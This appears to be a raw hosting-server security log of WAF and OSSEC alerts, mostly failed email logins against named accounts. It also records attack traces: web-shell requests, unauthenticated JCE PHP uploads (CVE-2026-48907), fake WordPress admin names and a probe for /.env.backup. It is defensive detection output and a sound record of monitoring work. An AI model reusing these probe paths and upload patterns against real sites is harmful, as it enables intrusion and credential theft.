IM360 WAF: XML-RPC Suspicious blog attempt||Username:67619.gsmex.global||ServerName:gsmex.global||Method:metaWeblog.newPost||BlogID:1||TitleSHA:23ad62520820f1f53f730807cc56cc492a2c0d94||Title:0x6e7fb30a||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.160.15.31
country_id: 1269750
description:
2026-07-10 15:57:35 dovecot_login authenticator failed for H=([49.124.152.27]) [122.160.15.31]:36467: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.109.54
country_id: 1668284
description:
2026-07-10 15:57:44 dovecot_login authenticator failed for H=110-25-109-54.adsl.fetnet.net ([197.219.208.58]) [110.25.109.54]:43960: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 205.250.25.62
country_id: 6251999
description:
2026-07-10 15:58:01 dovecot_login authenticator failed for H=([49.124.153.50]) [205.250.25.62]:45720: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.99.181.123
country_id: 2661886
description:
2026-07-10 15:57:54 dovecot_login authenticator failed for H=([49.124.146.34]) [65.99.181.123]:37001: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.118.232.13
country_id: 6252001
description:
2026-07-10 15:59:31 dovecot_login authenticator failed for H=ool-4576e80d.dyn.optonline.net (wsip-184-178-172-12.rn.hr.cox.net) [69.118.232.13]:34583: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 201.46.124.0
country_id: 3686110
description:
2026-07-10 15:59:21 dovecot_login authenticator failed for H=([49.124.152.35]) [201.46.124.0]:2304: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.246.40.63
country_id: 1819730
description:
2026-07-10 16:00:32 dovecot_login authenticator failed for H=063.40.246.220.static.netvigator.com ([121.163.63.200]) [220.246.40.63]:36717: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.200.40.36
country_id: 2589581
domain: ogocindia.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ogocindia.com/ HTTP/1.1||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.161.26.125
country_id: 1835841
description:
2026-07-10 16:11:10 dovecot_login authenticator failed for H=([98.181.137.75]) [112.161.26.125]:52656: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.120.78.177
country_id: 1668284
description:
2026-07-10 16:10:59 dovecot_login authenticator failed for H=221-120-78-177.emome-ip.hinet.net ([212.135.208.16]) [221.120.78.177]:54471: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.255.255.26
country_id: 2661886
description:
2026-07-10 16:12:43 dovecot_login authenticator failed for H=94-255-255-26.cust.bredband2.com ([49.124.151.6]) [94.255.255.26]:54492: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.72.145.120
country_id: 1835841
description:
2026-07-10 16:13:01 dovecot_login authenticator failed for H=([121.120.147.200]) [61.72.145.120]:55232: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 141.255.164.66
country_id: 2658434
domain: gsmex.global
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/ibxovnyv/fonts/mgsskvbt.PHP||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77705892
name: IM360 WAF: Tracking doubtful fake-admin WordPress username (RBL-only)
abuser: 140.245.120.183
country_id: 1880251
domain: ahsmarine.com
description:
IM360 WAF: Tracking doubtful fake-admin WordPress username (RBL-only)||MV:wp-system||MVN:ARGS:log||WPU:wp-system||User:ahsmarine||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 47.82.181.199
country_id: 1880251
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jce_d4aeba0276.php||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77102143
abuser: 47.82.181.199
country_id: 1880251
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated front-end JCE editor-profile import in Joomla Content Editor before 2.9.99.5 (CVE-2026-48907)||MVN:REQUEST_FILENAME||MV:/index.php||RF:/index.php||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77350307
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 140.245.120.183
country_id: 1880251
domain: ahsmarine.com
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:yanz@123457||User:ahsmarine||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 119.156.138.24
country_id: 1168579
domain: jaashsupplies.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:95593.jaashsupplies.com||ServerName:jaashsupplies.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:1c00dbc78154d94d54a7c452e0201dd820fc3451||Title:0x79ef5df2||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 45.143.106.210
country_id: 174982
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://techbullion.com/buy-gold-silver-with-crypto-in-2026-the-3-best-dealers-compared/\">Buy gold with Bitcoin UK</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 66.45.144.201
country_id: 6252001
description:
2026-07-10 16:24:21 dovecot_login authenticator failed for H=66-45-144-201-dynamic.midco.net ([87.225.108.138]) [66.45.144.201]:56276: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 143.14.133.57
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://telegra.ph/Original-ili-poddelka-stoit-li-doveryat-resejlu-Oskelly-06-23\">oskelly \xd0\xb8\xd0\xbd\xd1\x82\xd0\xb5\xd1\x80\xd0\xbd\xd0\xb5\xd1\x82 \xd0\xbc\xd0\xb0\xd0\xb3\xd0\xb0\xd0\xb7\xd0\xb8\xd0\xbd</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 47.82.181.199
country_id: 1880251
domain: www.globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jce_03d56bfb8a.php||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 171.234.8.175
country_id: 1562822
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 gi\xe1\xbb\x91ng c\xc3\xa2y tr\xe1\xbb\x93ng (<a href=\"https://bookmarksknot.club/story.php?title=co-s%E1%BB%9F-ban-va-cung-%E1%BB%A9ng-ca-phe-ghep\">https://bookmarksknot.club/story.php?title=co-s\xe1\xbb\x9f-ban-va-cung-\xe1\xbb\xa9ng-ca-phe-ghep</a>) (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 79.117.246.51
country_id: 2510769
domain: kallanigroup.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:20927.kallanigroup.com||ServerName:kallanigroup.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ba9beeaa6d479b336a905c20622df47fd8f606b8||Title:0x3745d48e||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 184.151.88.27
country_id: 6251999
description:
2026-07-10 16:39:39 dovecot_login authenticator failed for H=([103.55.89.5]) [184.151.88.27]:35265: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.153.41
country_id: 1733045
description:
2026-07-10 16:39:20 dovecot_login authenticator failed for H=([27.115.113.138]) [49.124.153.41]:42006: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.160.187.31
country_id: 1269750
description:
2026-07-10 16:40:01 dovecot_login authenticator failed for H=(46.191.163.43.dynamic.ufanet.ru) [122.160.187.31]:55096: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.114.8
country_id: 1668284
description:
2026-07-10 16:41:42 dovecot_login authenticator failed for H=110-25-114-8.adsl.fetnet.net ([49.124.151.51]) [110.25.114.8]:52085: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.205.197
country_id: 99237
description:
2026-07-10 16:42:19 dovecot_login authenticator failed for H=([61.97.17.208]) [65.20.205.197]:35784: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 2.75.68.17
country_id: 1522867
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/latest-news/malik-malayalam-movie-experience-metro-digital-media HTTP/1.1||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.120.77.34
country_id: 1668284
description:
2026-07-10 16:48:22 dovecot_login authenticator failed for H=221-120-77-34.emome-ip.hinet.net ([174.64.199.88]) [221.120.77.34]:47982: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.116.75.51
country_id: 6252001
description:
2026-07-10 16:48:40 dovecot_login authenticator failed for H=([192.111.131.4]) [103.116.75.51]:38079: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.233.12.109
country_id: 2963597
description:
2026-07-10 16:49:08 dovecot_login authenticator failed for H=([222.98.44.218]) [80.233.12.109]:10124: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 143.202.162.196
country_id: 3624060
description:
2026-07-10 16:49:32 dovecot_login authenticator failed for H=([88.84.209.146]) [143.202.162.196]:56418: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.219.193.151
country_id: 1861060
description:
2026-07-10 16:57:45 dovecot_login authenticator failed for H=l193151.ppp.asahi-net.or.jp (201-60-198-162.bbone.telesp.net.br) [218.219.193.151]:53892: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.156.8.97
country_id: 1835841
description:
2026-07-10 16:57:01 dovecot_login authenticator failed for H=(47-145-62-32.fdr01.sncy.ca.ip.frontiernet.net) [218.156.8.97]:48406: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.168.115.241
country_id: 6252001
domain: vrishenterprises.in
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.28||T:APACHE||RA:104.168.115.241||TA:104.168.115.241||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 104.168.115.241
country_id: 6252001
domain: vrishenterprises.in
description:
IM360 WAF: Bad file extension||RSV:8.28||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.backup||User:vrishenterprises||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.210.95.88
country_id: 294640
description:
2026-07-10 17:00:46 dovecot_login authenticator failed for H=([179.125.104.245]) [46.210.95.88]:59334: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.38.54
country_id: 1668284
description:
2026-07-10 16:59:52 dovecot_login authenticator failed for H=111-70-38-54.emome-ip.hinet.net ([49.125.201.79]) [111.70.38.54]:48780: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.127.42
country_id: 1269750
description:
2026-07-10 17:01:22 dovecot_login authenticator failed for H=(undefined.sevstar.net) [182.95.127.42]:49410: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.51.12.142
country_id: 1835841
description:
2026-07-10 17:01:51 dovecot_login authenticator failed for H=(111-70-32-6.emome-ip.hinet.net) [14.51.12.142]:57926: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.40.45.223
country_id: 1861060
description:
2026-07-10 17:01:07 dovecot_login authenticator failed for H=p4095-ipbfpfx02osakakita.osaka.ocn.ne.jp ([121.179.93.147]) [60.40.45.223]:53482: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.185.142
country_id: 1269750
description:
2026-07-10 17:01:17 dovecot_login authenticator failed for H=(138-219-13-21.reverse.cablecolor.com.sv) [182.95.185.142]:47812: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.188.158.216
country_id: 2510769
description:
2026-07-10 17:05:07 dovecot_login authenticator failed for H=([192.252.216.83]) [207.188.158.216]:4104: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.254.27.159
country_id: 1562822
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/services/home-theater-installation/ HTTP/1.1||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.215.146.195
country_id: 934841
description:
2026-07-10 17:05:28 dovecot_login authenticator failed for H=([116.114.84.246]) [41.215.146.195]:31977: 535 Incorrect authentication data (set_id=mail)


